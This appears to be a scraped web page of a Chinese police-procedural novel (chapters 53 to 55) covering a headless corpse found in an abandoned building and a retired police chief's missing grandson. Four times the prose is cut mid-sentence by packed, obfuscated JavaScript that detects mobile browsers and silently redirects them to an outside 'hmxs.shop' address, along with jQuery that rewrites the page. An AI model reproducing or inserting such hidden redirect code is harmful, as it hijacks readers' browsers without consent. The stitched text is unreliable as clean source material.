RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16676529|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 办条件不足加上以讹传讹夸大了事实,如果换到今天这个哪里都有网络和摄像头,天网触及整片国土各个角落的时代,这样的案子应该是不会再重演的。 秦于理说:“既然跟我们的主责主业没关系,就放到一边吧,这世界上哪儿都有怪事,哪管得过来。” 范朋说:“嗯。你这几天很累吧,早点回去休息。” 秦于理站起身伸了个懒腰说:“行,那我回去了,你也早点睡。” 范朋推了推眼镜,表示知道了,秦于理便转身离开。 重新坐电梯回到那个空荡荡的站台,秦于理跳下隧道,正要往自己的家走去,她走了几步,在将要进入黑漆漆的涵洞时,忽而又停了下来。肚子骨碌碌的叫了几声,秦于理摸着自己饿瘪的肚子,想了想,又转身往回走了。 没过多久,秦于理走出隀明市公安局,站在了马路边上。 现在还在长假中,街上车水马龙,每个人的脸上都洋溢着笑容。秦于理打开手机查了一下,随后找到自己的目标,跟着导航走过去,十多分钟后,秦于理停在了一家灯火通明的饭馆前头,饭馆招牌上写着“钟山街道社区服务食堂”,秦于理推开门,大步走了进去。 现在已经是晚上八点多了,食堂里的人并不多,一长排的玻璃柜台里不少小菜格子已经空了,剩下的卖相倒还算好。 “欢迎光临,请自取托盘,看中什么菜,我给您打。” 秦于理应了一声,拿着托盘一个个菜看过去。 就在不久前,她和秋樰生、林雅菲一起在天湖区的大食堂里吃过饭,秦于理记得有好几个菜都很好吃:“有湘西土匪鸭、手撕干锅鸡、铁锅炖大鹅吗?” 秦于理一连报了几个菜名,遗憾的是,都没有,最后只找到铁板蛋炒饭和狮子头,还有一笼蒸饺。 秦于理兴高采烈地端着托盘,找了个靠窗的位置坐下,掰开筷子才啃了一口狮子头,就皱了皱眉,放下狮子头,她又扒拉了几口饭,再次放下,这次去吃蒸饺。蒸饺还没嚼两下,她就忍不住干呕一声,把它吐了出来。 秦于理发了一会儿呆,终于站起身来。服务员快步走过来问:“小姐,你是要走吗,饭菜要不要打包?” 秦于理迅速摇头摆手,示意不要了。 服务员追着问:“是饭菜不合您胃口吗?” 秦于理没有回答,只是快步离开大食堂。晚风吹来,秦于理飞快地走出去很远,连着呼吸了几口新鲜空气,才像是刚刚从一个真空的环境里被放出来一般,连连喘着粗气。 “小姑娘,你没事吧?”有位好心大爷经过,关切的问。 秦于理撑着自己的大腿,摆摆手,示意没事,然后直起腰,跌跌冲冲地往回走。 还是不行,地上的世界果然还是不适合她,秦于理果断地又钻回了地下。 同一时间,赵萌萌正坐在一片小山坡上,她的面前摊开一张塑料桌布,上面摆放着超市里买来的各种零食糖果饮料。 “院长、大家,你们吃啊,我这次买了最近风很大的网红零食呢,可难抢了,你们一定要尝尝!”赵萌萌说着,打开一罐快乐水,自己大口大口地喝了起来。 这里距离隀明市区已经很远了,周围也看不到什么人,不远处拉着铁丝网,挂着施工安全守则的铁牌,但那块牌子也已经生锈了,似乎此地已经许久无人问津。 赵萌萌眼前不远处是一小片废墟,年深日久,那些钢筋建筑的遗骸都已经在时光中被消磨得不剩多少了,只有这里的空气中似乎仍然残留着一股让人不适的蛋白质烧焦的糊味儿。 赵萌萌知道那一定是她的幻觉,因为距离孤儿院被大火付之一炬已经过去整整十年了。 赵萌萌伸手将快乐水浇在地上,梦呓般地说:“喝吧,火那么大,你们一定很渴吧,我买了很多,你们慢慢喝。” 而秋樰生此时正站在一栋废弃的建筑物前,这是城郊的一座烂尾楼,因为施工方资金链断裂,老板跑路,政府正在和国企沟通接盘的事,这栋楼就闲置了下来,无人看管。 “尸体在哪儿?”刚刚,110报警台传来消息,有人在这里发现了一具无名尸体。 “就在二楼。”当地派出所的小警察说。 “带我过去。”秋樰生点亮手电,利索地钻进了黑洞洞的楼道内。 53.第53章 无名男尸 秋樰生跟在地区片儿警后面钻进了烂尾楼里。 这栋楼原本是某家房地产公司计划开发建造的商业写字楼的旗舰楼盘,谁想到房子还没封顶,老板便因为赌博资金链断裂,偷偷跑路,又在逃跑路上遇到交通意外,一命呜呼。此后,在政府的牵线搭桥下,这栋大楼两次易手,也是邪了门了,两次都出了问题。 接手大楼的第一个老板是个本地颇有名望的老企业家,刚刚请人做完规划,正准备大干一场,晚上喝了点酒竟然突发心梗,倒在办公室里,第二天被人发现的时候人都已经凉了,换了第二个接手的老板,是个港城人,十分谨慎小心,花钱请了大师来做了法事,确定没问题后才打算接手改造,结果产证还没过户,老板自己没事,家里的一双儿女却分别在国外出事,一个蹦极运动时绳索断裂,人没死但落了个高位截瘫,另一个在现场目睹了整起事件发生,吓出了心理疾病,从此再也无法正常生活,搞得老板不得不收了摊子,回家养老。 这几件事看起来都是孤立事件,生病车祸都很常见,偏偏都是在和这栋烂尾楼发生关系以后才有,因此从第二个老板出事以后,关于此楼此地不祥的消息顿时甚嚣尘上,这栋烂尾楼甚至这片地都成了隀明市乃至附近地区人人谈之色变的离奇恐怖都市传说。此后房地产市场走势低迷,民间企业家无人再肯接手,政府无奈之下要求本地老牌国有企业接手改造,目前还在洽谈中,已经来回拉锯了小一年。秋樰生来市局以前就听过小道消息,说是国企只肯垫付建设费,大楼竣工以后还要租给本地政法系统当办公楼使用,收笔租赁费补贴利润,也算是另一种意义上的原汤化原食了。谁想到,在这个节骨眼上,居然在楼里发现了尸体。 尸体的发现者有两人,不是看楼的大爷,而是外地来的两个专做户外探险节目的小网红。两名发现者一男一女,都是二十郎当岁,专营都市恐怖灵异赛道,这次国庆长假借着来隀明市旅游的机会,跑过来夜探“隀明第一鬼楼”。门口的老大爷年纪大了,老眼昏花,加上如今社会保障工作做得好,街上基本看不到乞丐之类流浪人员,这烂尾楼里又没什么值钱东西,所以平时看楼除了按点巡逻,大多数时候看得并不紧,就叫这两个人顺利溜了进去,结果在大楼四层的角落里发现了一具无名尸体。 秋樰生上去的时候,现场已经被保护起来,他的手下小陆、小周两名年轻干警也刚刚赶到,正在给那两名报案的网红做现场问询,法医老李蹲在地上,在刚刚拉好的临时灯光下对尸体和现场做初步的检查记录。 见到秋樰生过来,陆、周两人赶紧打招呼:“秋队。” 秋樰生冲他们点点头,越过两人肩头看到两名网红脸上复杂的表情,那表情里既有惊惧又有兴奋,看起来又哭又笑的,十分怪异。 女的动作浮夸,声音高亢地对小周说:“帽子叔叔,你们不知道,我们当时上来的时候差点魂都吓没了。真的,网上都说这里是第一鬼楼,我们还不信呢,你们知道赣城那茅台大厦不,还有津城的报业大楼,还有青城的……” 小周只能打断她:“你就说进楼以后看到听到的就好,我不需要了解你们以前的直播内容。” 男的则在旁边一个劲地抻着脑袋,想要看法医李特在干什么,偷偷摸摸想掏手机拍下来,被小陆发现直接挡住镜头,警告了几句。 “小陆!” 小陆满头是汗的跑过来,小伙子这会儿身上穿着一身完全和烂尾楼气质不符的新西服,胸口还插了支玫瑰配满天星。见秋樰生盯着自己看,小陆尴尬地解释:“我今天给我同学做伴郎,中途接到消息,来不及换衣服就赶过来了。” 秋樰生点点头:“都了解到什么情况?” 小陆说:“这两人是网红直播主,7点半进的楼,8点11分的时候,在四楼发现了尸体,差点吓尿了……” “哎,你别胡说啊,我们才没有吓尿呢!”那女的一边跟小周絮絮叨叨,一边还能留意小陆这里的动静,她说,“帽子叔叔,我们可是专业的户外探险主播,大场面我们见得多了,就是、就是黑灯瞎火地冷不丁突然看到具无头尸体,谁能不吓一跳啊?” “无头尸体?” 小陆点头:“无头男尸,发现的时候躺在墙根,全程网络上都有视频,信息科已经从平台那里要到备份并且把网络视频下架了。” 秋樰生说:“把他们俩带回局里录口供,别让他们在这儿胡扯。” “是。” 秋樰生走到法医老李身边,蹲下身看他检查尸表。 这具尸体中等个头,身材不胖不瘦,上身一件夹克衫,下边一条黑色长裤,脚上一双运动鞋,没有脑袋,身下也没有什么血,显然这里并非第一案发现场。 “看来是有人抛尸。”秋樰生想,脑子里已经飞快勾勒出了办案逻辑,查失踪人口,对比DNA,查附近监控,看死亡时间内是否有人进出这栋大楼…… 李特说:“看脖子创口处皮肉收缩情况,脑袋是人活着的时候砍下来的,手上的指纹都被削掉了,凶手显然不想让我们找到尸源。” 看到李特特地拿起来的血淋淋的十根手指头,秋樰生皱起了眉头。 都什么年代了,到处都是天网探头,居然还有人犯这种恶性案件,还是挑国庆长假期间,这罪犯真是命烂不嫌事大。 秋樰生问:“致命伤就是脖子上那个?” “嚯,那倒不一定。”李法医将尸体翻过来,“腹部有两个贯穿伤,应该是枪击造成的。” “枪?”秋樰生的手顿了一下,眉头攒得更紧了。这又不是上个世纪八九十年代车匪路霸横行,携枪犯罪频发的老时候,现在要弄到一杆枪可不容易。当然,自制土枪或是用改良仿真丨枪的民间枪械爱好者依然存在,但别说是杀人犯法了,光是被查到持有违禁枪械,根据《刑法》第一百二十八条就能判三年以下,情节严重的得奔三到七年去,一般人日子过得好好的不会那么作死。 秋樰生越看眼前这具尸体越觉得古怪。刚刚是粗略看了一眼,现在仔细看,觉得这尸体身上穿的那身衣服好像显得有些老旧。夹克衫的料子很粗,款式也不是现在时兴的那种,裤子倒是看不出什么,毕竟男人穿的裤子来回就是那么个版型,但那双鞋,是军绿色的解放球鞋,还是老式橡胶底那种。秋樰生戴上手套,凑近摸了摸鞋面和鞋底,发现鞋侧的橡胶已经老化,在前脚掌弯曲的部分,两面都出现了裂痕,而且鞋子很合脚,显然是常穿的,并没有故意做旧。 太奇怪了! 秋樰生想,无论是这具尸体本身,尸体被害的样子,还是罪犯的作案手法都透着一股“老味道”,让秋樰生这个90后莫名想起小时候在电视里看老式刑侦剧的年月。 李特说:“目前只能检查出这点,具体的得回去仔细验了才能知道。不过有一点可以肯定,尸体已经有腐烂的迹象,加上现在入了秋,平均气温保持在25度左右,应该死了至少两天以上。” 那就是长假刚开始,这个倒霉蛋就呜呼哀哉了。 李特说:“隀明市好几年没有这么恶劣的恶性犯罪案件了,又是在这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16682841|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 节骨眼发生的,秋队,看来咱们都有得忙了。” 秋樰生“嗯”了一声,脑子里却控制不住的有点信马由缰。他刚刚和秦于理从霞鹜村回来,办结了屠菊英的重生案件,这会儿看到这么个凶杀案脑子就有点不在正轨,他忍不住想,这么老旧的作案手法,该不是什么重生的上世纪的悍匪干下的吧,不然怎么会用那么老旧的手法呢? …… 秦于理坐在办公桌前,托着腮一面喝着快乐水,一面点鼠标。 方许恩走进来,忙殷勤地跟她打招呼:“早啊,秦队,长假也不休息啊?” 秦于理凉凉看了他一眼,方许恩背脊抽了一下,一下子有种自己哪里不妥贴的感觉,赶紧检查自己。他今天穿了一身休闲装,上身是件假两件灰色衬衫针织衫,下身一条及踝蓝色窄腿牛仔裤,脚上蹬一双勃肯鞋,斜挎了个前胸包,看起来像个大学生,干干净净很清爽。 方许恩检查完一圈,觉得自己没什么问题啊,便疑惑地看向秦于理想问她怎么了,结果发现后者早就不看他了,又在那里嗒嗒点她的鼠标。 方许恩放下包,用胶囊咖啡机打了杯咖啡端过去说:“秦队,喝咖啡吗,我新买的香蕉拿铁口味。” 秦于理说:“不喝,不爱那味儿。” 方许恩就有点悻悻,他自己喝了一口咖啡,没话找话说:“在家闲着也是闲着,还是过来上班舒坦。” 秦于理说:“哦。” 方许恩:“……” 方许恩说:“今天萌萌不来吗?” 秦于理说:“赵萌萌今天休假。” 方许恩又问:“秦队,你在忙什么呢?” 秦于理把电脑屏幕转过来,方许恩只看到满屏花花绿绿的毛线。 方许恩问:“这是什么?” “绿泡泡小游戏。”秦于理说,“理毛线。” 方许恩再次:“……” 这世上恐怕没什么比想要拍自己直属领导几句马屁却发现领导上班在摸鱼打小游戏更尴尬的事了。 秦于理说:“重案组就是这样,有事做事,没事自己打发时间,你要习惯。” 方许恩大喜,忙说:“会的会的,我一定早点跟上大家的工作节奏!” 秦于理看看他,方许恩也看看秦于理,一下子又冷场了。 方许恩觉得自己今天有点发挥失常,他平时虽然不算个很E的人,但天生亲和力强,跟什么陌生人都能三言两语聊起来,不知道为什么,面对着秦于理居然失效了。 方许恩说:“秦队,上次的案子里,谢谢你。” 秦于理说:“不客气。” 方许恩实在没法聊了,他站起身说:“那不打扰你了,我继续弄音乐记录,范老师说您和秋队刚刚又办了一起案子,我得抓紧时间记录下来。” 秦于理没接话,方许恩只得走回自己的办公桌前坐下,刚要戴起耳机,又听秦于理喊了他一声。 方许恩赶紧拿下耳机,看向秦于理:“秦队,你刚刚喊我吗?” 秦于理懒洋洋地说:“没什么,忘了提醒你一声入队守则。” 方许恩说:“啊?” 秦于理说:“此门一入深似海,进了重案组的人,多半不能全身而退,我是没办法,你是自己要闯进来,如果想过太平日子,建议你现在退出还来得及。” 方许恩微微愣了一下,随后戴起了耳机,他说:“秦队,没别的事的话,我要工作了。” 秦于理比了个“请”的手势,两人便各自忙自己的事去了。 54.第54章 武东青 十月五日上午六点,武东青穿了身运动衫出门溜达。经过小区外头的公共绿地时,看到几个相熟的老头在那儿摩拳擦掌,上杠转圈的转圈,捉对下棋的下棋。见他经过,下象棋的老头乐呵呵地跟他打招呼:“早啊,武局,来一把?” 武东青连连摆手:“今天不了,得去菜场买菜,回家做饭。”他生了张长脸,年轻的时候也许不苟言笑,因此眉心有深深的川字纹,但退休以后,心宽体胖,就连面相都变得柔和圆润起来,他补充道,“都退休一年多了,还喊什么武局,喊老武啊!” “知道了,武局!”老头们纷纷应和,跟武东青开了个“大内密探零零发”的经典玩笑。 武东青说:“行了,不跟你们啰嗦,迟了买不上我孙子爱吃的大头虾,回头老婆子又得跟我闹。对了,请柬都收到了吧,十月八号中午,我家童童办十岁生日宴,老哥儿几个记得届时赏脸一起去悦东楼吃顿便饭!” “得咧,一定到!武局您功德圆满,儿孙满堂,这喜气咱们一定来沾!”老头们又跟武东青寒暄了一番,双方才挥手道了别。 武东青听了一堆吉利话,心里挺受用,嘴里哼着小曲儿往菜市场走。 他今年62岁,一辈子都奋斗在公安战线,工作期间破获案件无数,拿捕过各类罪犯宵小,数次荣立功勋,退休的时候官至副厅级,如今和老婆在隀明市郊一个老别墅区里安了家,每日里含饴弄孙,修身养性,日子过得极是舒坦。最近长假,儿子儿媳把孙子童童送到了武东青家里,陪陪老人家,每天小家伙在家里活蹦乱跳,跑进跑出,闹腾是闹腾,但武东青看着高兴! 快走到菜场门口的时候,手机响起,武东青看了眼屏幕,是他老婆林秀华的电话,赶紧接起问:“喂,你又忘了交代我什么了?” 林秀华记性倒不是不好,但是个风风火火的性子,总是想一出是一出,武东青还以为她打电话来是因为今天的置办清单里又漏了什么重要食材,现在想起来补救。 电话那头却传来林秀华略带困惑的声音,她问:“老武,童童今天跟你一起出门买菜了吗?” “童童?童童不是应该还睡着吗?”武东青颇感疑惑,“他不在卧室里?” “嗯。昨天小梁给童童买的新衣服他不是喜欢得不行,穿在身上死活不肯脱下来吗,我就想着今天早起点儿把他那身衣裳过下水,可是刚刚进他卧室,里头一个人也没有。” 小梁是武东青的儿媳妇,全名梁玉洁,是名大学老师。武东青虽然自己一辈子工作在公安系统,他儿子武君朝却没有选择跟随父亲走同一条道,他不喜欢那些打打杀杀,刀光剑影,更喜静,研究生毕业后留校任职,和媳妇儿梁玉洁就是在教育系统的工作交流会上认识的,如今两人工作单位调到了一块儿,都在隀明大学任教。 “会不会是上厕所去了,还有楼上的阳光房里找过没,童童平时喜欢去那里玩游戏!” “都找过了,就是没见着所以才打电话问你。” 武东青这会儿还没有往不好的方向去想,如今当得起太平盛世这四个字,老别墅区里的邻居又都知根知底,他觉得自己的宝贝孙子不至于出什么问题。 “那会不会是去老张家里找他孙子多多去了?我看前两天俩小家伙凑在一块儿窸窸窣窣,不知道约好了要做什么。” 林秀华说:“哦,也有可能,那我去老张那儿问问,先挂了。” “你等会儿!”武东青想再叮嘱两句,老伴已经挂断电话,估计是匆匆出门了。 武东青这会儿琢磨了一下,忽然觉出些不对味来。他们家的别墅有五层,地上三层,地下两层,房子大,孩子有时候东一钻西一藏的一时半会儿没找着也是正常,但现在的时间委实不大对!武东青看了眼手机,此时刚刚六点十七分,往常这个时候童童还在呼呼大睡,小孩子都贪睡,这个时间点并非他们惯常玩耍的时段,可如果童童没有出门去找小伙伴,他又能跑到哪里去了? 武东青越想越觉得心里没着落,原本买菜的心情荡然无存,转身就往家里走。路上又接到林秀华的电话,那头火急火燎地说:“老武啊,我去老张家找过了,多多还没起床呢,童童不在他家。还有王姐、赵姐她们家,我也去找过了,都说没见过童童!你说这到底是怎么回事啊!” 武东青赶紧稳住老婆,说:“你先别慌,我已经在回家路上了。家里不是装了监控吗,你看看监控,要是童童出过门,客厅摄像头一定能拍到!” “对对,还有监控摄像头!”林秀华没把话说完就又把电话挂了,估摸着是去找监控视频了。 此时武东青已经察觉情况走势不祥,只是没和老伴说,他抬手拨了个电话出去,那头响了几声,很快接起:“武局,有什么事要办吗?” 那头接电话的是郑金虎,如今隀明市公安局刑侦队的当家人,也是武东青曾经的徒弟,老领导长假里一大早打电话来,必然是有重要事情。 武东青说:“金虎啊,你现在有空吗?” 郑金虎马上回复:“有空,您现在在哪儿,我过来一趟?” 武东青说:“我在家,崧畔花园115号,你要是方便的话,麻烦现在来一趟,”他顿了下又说,“如果有信得过的有能耐的手下,也一并带过来,不要多,一、两个就行。” 郑金虎心领神会,忙说:“好。” 那头武东青往家赶,这头郑金虎想了一下,拨了个电话出去,刑侦队的办公室内,刚刚查完监控,正在伸懒腰的秋樰生蓬头垢面的接起了电话:“郑队。” 郑金虎开门见山:“秦队,你现在在哪儿?” “我?”秋樰生愣了一下,快速道,“在局里,查了一晚上金鑫大楼的监控,暂时还没收获,昨晚跟您汇报过一次。” 秋樰生还以为郑金虎一大早打过来是来过问昨晚那起案子的。就像秋樰生预料的那样,这起案子的影响很差,这不仅仅是因为凶手的手段残忍,尸体状况糟糕,还因为尸体偏偏是网红直播时发现的。数千人在直播间同时在线目击了这一幕,加上此时又是长假期间,大部分网友都闲得很,消息一经传出来就在网络上炸开了锅,各种胡编乱造一再加码之下,整起事件已经传出了数个版本,信息科的人被迫全部取消假期,连夜回岗工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688441|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作,删帖禁言打电话忙了一晚上,闹了个兵荒马乱,人仰马翻。 郑金虎却说:“哦,那起案子,这样,我让姚永先跟一下,你现在去崧畔花园115号,我在那儿等你。” 秋樰生刚想说什么,郑金虎又压低了音量道:“注意保密,消息不要外传,到了我再跟你细说!”说完,那头就挂了电话。 秋樰生无声用嘴型骂了一句,用手抹了把脸往外走。小陆正好进来,手里拿着大饼油条包子豆浆,看到秋樰生忙扬起手里东西喊:“秋队,饿了吧,吃点早饭!” 秋樰生从小陆手里拎了根油条三下五除二塞进嘴里,又提了一杯豆浆插了吸管,抿在嘴里就往外走:“我有急事,出门一趟!” “哦。”小陆说,看秋樰生步履匆匆,又喊了一声,“您啥时候回来?案情有发展的话……” “不好说,有事第一时间电话联系。”秋樰生说。他在办案方面多少有些护食,自己跟的案子,可不想莫名其妙移交给六支队的队长姚永。 天空已经放亮,秋樰生的车在晨光中显得风尘仆仆,坐上驾驶座的时候,秋樰生下意识地看了眼副座,发现座位上扔着个圆形空打包盒,那是昨天秦于理吃炒饭剩下的。想到秦于理昨天吃隔夜炒饭的样子,秋樰生还是忍不住感叹,这是什么样的肠胃,又是什么样的口味啊! “还是你舒坦,不用打两份工。”秋樰生忍不住嘟哝了一句,发动车辆朝崧畔花园赶去。 半个多小时后,秋樰生顺利抵达目的地。他刚把车开进小区,就看到郑金虎已经等在门口,旁边还站着个头发花白的男人。秋樰生打量了一眼,脑海里飞快地调出了档案。 武东青?隀明市上任公安局长? 秋樰生对郑金虎喊他来的此次事态严重度不由又调高了一个等级,赶紧停好车,下车跑过去:“郑队!” 郑金虎把他拉过来给武东青介绍:“这是新来的八支队副队秋樰生,脑子活,很能干。”又对秋樰生说,“叫武局。” 秋樰生等郑金虎介绍了才赶紧开口道:“武局好,您叫我小秋就好。” “秋樰生,我有印象的。”武东青说,秋樰生愣了一下,他来隀明市局的时候,武东青已经退休,两人并没有接触过,一时间无法判断武东青是真对他有印象还是只是客套。但是,现在这个时候,这位老公安应该没有心情客套才是。 秋樰生刚刚下车的短暂时间里已经观察过武、郑两人的表情,别墅里还有个妇女走进走出,显得十分慌乱,看年纪应该是武东青的家属。换言之,郑金虎一大早让他放下手头的杀人案特地赶过来,必然是因为武东青家里出了大事。 武东青说:“蟠林派出所的活无常嘛,我还没退的时候就听说过你的名字。” 秋樰生受宠若惊,赶紧谦虚地低头应和:“都是队里人瞎喊的,让您见笑了。” 武东青伸出手,秋樰生赶紧也伸手同他握了一下。这位老公安的手掌厚实有劲,手心有茧,此时微微泛凉。 武东青说:“我孙子武心童昨天半夜三点三十三分不知什么原因从家里偷跑出去,不见了。” 55.第55章 失踪的娃 武东青家里安装了摄像头,但仅限于大门口和后院。监控显示,凌晨三点二十五分的时候,武心童小朋友突然揉着惺忪的睡眼从楼上走下来,进入客厅,目的不明。 郑金虎问:“孩子原本的卧室在几楼?” “三楼。”武东青说,“平时我儿子一家来都住三楼,我们老两口年纪大了,所以住两楼,进出方便点。” 郑金虎说:“三楼没有卫生间吗?” “当然有。”武东青说,“三楼的主卧是套间,本来就带一间卧室,外头另外还有一个更大的,童童晚上上厕所一般都去那一个。” “那他平时有晚上下楼饮水或是拿吃的之类的习惯吗?”这次是秋樰生提问。 既然三楼有两个厕所,那么武心童半夜起床下楼到客厅的目的就显得模糊起来。一个十岁的小男孩,又不是青春懵懂期谈恋爱的少男少女,秋樰生想来想去就只有肚子饿了,嘴巴渴了这样的理由。 “以前没有发生过,而且就是为了避免夜间口渴,我们在两层楼的楼梯平台上都设置了饮水机,可以直接接热水。” 那就只剩下肚子饿了,下楼翻冰箱这个解释了。 武心童在屏幕上来回走动,人看起来浑浑噩噩的,不怎么清醒。 郑金虎问:“童童以前有过梦游的情况吗?” 武东青看向林秀华,后者摇头:“没有吧,反正我从来没见过也没听君朝两口子说过。” “他好像注意到什么了!”秋樰生伸手指着屏幕,众人看过去,只见昏暗的黑白光影中,童童似乎听到了什么似的,突然朝某个方向扭头看过去。 秋樰生走到那个点,照着屏幕里孩子扭头的方向扭头,看到了客厅侧面一扇狭长的玻璃拉窗。 “童童看到什么了?”林秀华喃喃自语。 “他应该是听到了什么。童童刚开始压根没睡醒,也没有往窗户那边看的意思,他是听到了窗外的声音,才会被吸引注意力,往那里看。窗户外头是房子的侧面,那里有条南北向的小路,用来隔开我们和隔壁邻居,是双方公用的。”武东青说着走过去,推开窗户,外面是一片金边黄杨扎成的树篱笆,篱笆外头是公用道路,大概两人宽。不愧是在公安战线战斗数十年的老刑侦,武东青人虽然退休了,办案的思路还在。 秋樰生说:“应该是有人在喊他。” 郑金虎说:“什么?” 秋樰生说:“武心童一开始迷迷糊糊,听到声音后才清醒过来,往窗外看,这时候屏幕上看得到他的肢体语言很松弛。一般人半夜醒来要是听到窗外发出的声音,由于这时候半梦半醒,感知比平时迟钝,对音量小的、稀松平常的声音一般会直接忽略,而音量足够大,又或者奇怪的声音则会引起人的警惕,但童童没有,所以我猜测窗外传来的声音很可能是人声,或许还是在喊他的名字。” “你是说,熟人作案?”武东青面色凝重。 秋樰生说:“有一定的可能,还得再往下看看。” 监控视频继续播放,童童听到声音,一下子清醒过来,扭头看向窗口。停了大约五秒,他忽然快步走向大门口,跟着打开大门,趿拉上运动鞋快步走了出去。 视频到此结束。 “院子里没有安装摄像头吗?” 林秀华说:“本来有一个,但是坏了有一阵子了,一直没顾得上修。” 这么巧?秋樰生问:“是多久之前坏的呢?” “一个,大概一个半月了吧……”林秀华努力回忆,“具体时间想不起来了,那个摄像头原本粘在门口屋檐下,朝外,有天早上我醒来开门就发现摄像头摔在地上,裂了,怀疑是小区里的流浪猫干的。” 秋樰生想了想,说:“童童应该认识那个喊他的人,而且有一定的信任度,陌生人半夜喊的话,他不会出去。而且他没有仔细穿好鞋,只是顺脚蹬上了就走,说明他并没有跟人约好远行的打算,一切都发生得很突然。”秋樰生一边说着,一边看着另一块屏幕上后院监控的视频。 和前门客厅里的视频相比,后院的视频就单调多了,同一时间段除了树影婆娑和光线变化,一时看不出任何值得注意的东西,别说是人影,连只猫都没见着。也就是说,那个把武心童喊出去的人并没有从后门离开,至于这是巧合还是因为对方知道武东青前院里的摄像头坏了,那就是两个截然不同的办案方向了。 秋樰生看完了这一段问:“小区道路上有监控吗,有没有拍到童童出门以后的行动轨迹?” 郑金虎说:“刚刚我已经去物业问过了,小区里虽然看着装了不少监控,但大多数都没在使用,唯二还在使用的监控探头在小区朝东、朝南的两个大门口,也就是岗亭的地方,小区每天晚上有两个保安,7/24轮班。” 秋樰生顿觉头晕,他刚刚看了一晚上金鑫大楼的视频,眼下这情形看来还得再看一天崧畔花园进出口的视频。不死心的秋樰生又问:“童童有小天才手表吗?” “有,但我们刚刚开过定位,发现表就在三楼床头柜上,应该是童童睡觉的时候自己摘下来的。” 秋樰生没辙了,只能要求武东青允许他去楼上看看。武东青答应了,自己起身领秋樰生和郑金虎上楼,林秀华则留在客厅,等接到消息的儿子儿媳赶回来。十一假期,平时都教学任务繁重的小夫妻俩难得有空把孩子放在父母那儿,出门自驾,过过两人世界,结果现在只能往回赶。 秋樰生走到别墅二楼的缓步平台,果然看到有台插了电的饮水机放在那里。二楼有三个房间一个厕所,两个是卧房,都放了床,床上摆放着被褥,还有一间是书房,看起来应该是武东青呆得更多些。 重点其实在三楼,二楼秋樰生是路过顺便扫了一眼,武东青却细心解释道:“秀华睡眠轻,我老打呼噜,所以很早我们就分房睡了。” 秋樰生“哦”了一声,猜测这是武东青的职业病。就像班主任当久了容易讲话的时候大嗓门,律师当久了喜欢较真一样,警察当久了,也可能喜欢凡事都把来龙去脉说清楚。 上了三楼,武东青直接领他们去看武心童的卧室,卧室里还维持着小主人离开前的样子,被褥摊开在床上,床头柜上摆着个平板,一个小天才手表,屋子墙上挂着一家五口的全家福。 秋樰生摸了摸被褥床单,又打开衣柜看了看,武东青说:“衣柜我已经检查过了,童童没有换睡衣出门。”这从另一个侧面证实了武心童的外出确实是突发的,孩子自己出门的时候应该也没想到自己会离开那么久。 卧室靠窗户的地方还放着一张书桌,那是一张老式办公桌,还是覆盖了玻璃板的那种,玻璃下面压着几张已经褪色的照片,上面是个长脸的年轻警察,有穿着警服抱着花的照片,有佩戴红白蓝绶带国徽奖章的敬礼照,还有些参加警队培训、任务的纪念合影,从年代来看,上面的主人公毫无疑问是武东青本人。 “个人二等功!”秋樰生有些羡慕地看着照片中授勋的武东青,照片里的老公安还很年轻,身材瘦削,皮肤苍白,明明应该是万众瞩目意气风发的领奖照,不知道为什么面容看起来反而有几份阴郁,似乎并不是十分开心。 郑金虎拍了一下秋樰生说:“是不是很拉风,这可是武局1987年春节前参加全国表彰大会的留影,那时候你应该还没出生吧。” 秋樰生连连点头:“生不逢时啊,要是我也能有这么一天……” 武东青却打断他说:“哎,别这么说,荣誉都是用命换来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16694083|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,现在世道好了,天下太平,立功的机会是少了,但对干咱们这行的也是好事,你到了我这个年纪就会知道,没什么比命更重要的了!功名利禄啊,都是浮云。” 秋樰生心里未必这么觉得,但面上还是很捧场,忙说:“武局说得是,我得好好向您学习。” 几人将童童的卧室检查了一番,都没有什么发现,只能下楼。 回到客厅,武东青去安慰林秀华了,郑金虎对秋樰生说:“你去门卫调监控,我在附近走走,看看有没有别的线索。” “好。”秋樰生像是要离开,但是又停下来,欲言又止地问,“那个,郑队啊,孩子失踪已经四个多小时了,咱们真的不报警吗,光靠我们两个人,我怕耽误时间。” 